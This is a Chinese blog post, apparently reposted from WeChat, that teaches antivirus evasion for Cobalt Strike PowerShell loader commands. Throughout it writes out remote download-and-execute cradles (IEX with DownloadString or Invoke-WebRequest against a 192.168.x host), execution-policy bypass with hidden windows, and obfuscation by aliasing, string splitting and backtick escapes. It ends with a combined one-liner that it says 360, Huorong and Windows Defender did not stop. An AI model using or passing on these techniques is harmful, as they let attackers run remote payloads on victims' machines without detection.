PS上线命令
结合上文的加载器《CS免杀-PowerShell上线》,有大佬说加载的一句话过不了360等的行为查杀
powershell -nop -w 1 -c "IEX(new-object net.webclient).downloadstring('http://192.168.1.1/test.ps1')"
现在针对这一句话进行免杀,绕过AV的行为限制
加载web脚本
绕过静态查杀,编码未必是做有效的方法,所以出现了脚本放在网站上远程加载
PS需要两个函数Invoke-Expression和Invoke-WebRequest
Invoke-WebRequest
缩写IWR,用来访问网页的内容,默认使用IE引擎
-UseBasicParsing参数不分析结果,只是返回内容
IWR -UseBasicParsing http://192.168.1.1/123.txt
Invoke-Expression
缩写IEX,该函数执行传递给他的代码
powershell -com IEX(New-Object Net.WebClient).DownloadString('http:192.168.1.1/123.txt')
powershell -com IEX(iwr -UseBasicParsing http://192.168.10.1/123.txt)
内网可以用通用命名约定UNC
powershell -com IEX(iwr -UseBasicParsing \192.168.10.1C1.ps1)
绕过策略限制
本地执行一个ps脚本, 由于默认策略的缘故,通常会报禁用脚本运行
powershell ./test.ps1
1.更改脚本权限
powershell -command Get-ExecutionPolicy
restricted:只能运行系统的ps命令
ALLSigned:带有可信发布者签名的脚步都可以运行
RemoteSigned:带有可发布者签名的一已下载脚本可运行
Unrestricted:不受限制
powershell -com Set-ExecutionPolicy Unrestricted
2.本地权限绕过
PowerShell -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过
PowerShell -ExecutionPolicy Bypass -NoP -W Hidden -File 123.ps1
-noprofile简写 -nop, 为不加载 windows poweshell 配置文件
-WindowStyle hidden简写 -w 1,窗口为隐藏模式(powershell执行该命令后直接隐藏命令行窗口)
3.IEX远程加载
powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.10.1/123.txt)
powershell IEX(iwr -UseBasicParsing http://192.168.10.1/123.txt)
powershell IEX(New-Object Net.WebClient).DownloadString('c:132.txt')
4.标准输入读取命令
powershell的-com命令有个参数-
所以可以通过管道符输入命令
echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -
type 123.txt | powershell -
特征免杀
1.win10环境变量截取出powershell
psmodulepath:~24,10%
2.新建函数别名
IEX或IWR等函数是可以重命名的
set-alias -name hhh -value IEX
powershell set-alias -name hhh -value IEX;hhh(New-Object Net.WebClient).DownloadString('http://192.168.1.1/123.txt')
3.拆分成变量
powershell "$b='((new-object
net.webclient).downlo)';$a='(adstring(http://192.168.1.1/payload.ps1))';IEX ($b+$a)"
字符串以单引号分割
'ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1'
4.使用反引号处理字符
PowerShell团队使用反引号作为转义字符 (就离谱)
`' 单引号 `" 双引号
`0 空值 `a 警报
`b 退格 `f 换页
`n 新行 `r 回车
`t 水平制表 `v 垂直制表
powershell中双引号内字符可以进行转义,当反引号后面不是上面几个字符则不转义
上面截图感受一下,然后就对downloadstring等几个字符处理一下
"Down`l`oadString"
"down`load`data"
"web`client"
看我一套军体拳
360、火绒、win10自带都没拦截,卡巴没测试
echo set-alias -name hhh -value IEX;hhh(New-Object "NeT.WebC`li`ent")."Down`l`oadStr`ing"('ht'+'tP://19’+'2.168.1.1'+'2/payload.ps1') | %psmodulepath:~24,10% -
成功执行,不拦截行为
本文始发于微信公众号(XG小刚):CS免杀-PowerShell加载命令免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论